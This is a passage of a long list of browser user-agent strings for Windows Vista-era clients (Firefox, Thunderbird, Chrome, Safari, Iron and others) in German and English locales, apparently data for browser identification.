Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 (.NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.22) Gecko/20090605 Thunderbird/2.0.0.22 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.23) Gecko/20090812 Thunderbird/2.0.0.23 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.5pre) Gecko/20070604 BonEcho/2.0.0.5pre Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9) Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.15) Gecko/2009101601 Firefox 2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.8) Gecko/2009033019 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.8) Gecko/20100205 SeaMonkey/2.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.5.9 (de) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 ThunderBrowse/3.3.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.28) Gecko/20120306 Thunderbird/3.1.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-CA; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-CA; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.14) Gecko/20080421 Thunderbird/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.18) Gecko/20081105 Thunderbird/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9) Gecko/2008051206 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.13) Gecko/2009073022 EnigmaFox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.5) Gecko/2008120122 Firefox/2.0.0.12;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.5;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009021910 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.7) Gecko/2009031506 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.10;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.4;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.5;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009033019 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.9) Gecko/20100315 Firefox/3.0.5;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.15) Gecko/20110303 AskTbBT4/3.11.3.15590 Firefox/3.6.15 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.0.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB;rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-MY) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.10.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/14871328.525 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/41562480.525 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko) QtWeb Internet Browser/1.7 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.4 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: ) Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Iron/0.3.155.0 Safari/18455624.528 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Iron/0.3.155.0 Safari/19322656.528 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.5 (KHTML, like Gecko) Iron/0.4.155.0 Safari/528.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.7 (KHTML, like Gecko) Iron/1.0.155.0 Safari/528.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.100 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Iron/2.0.168.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 Mozilla/5.0 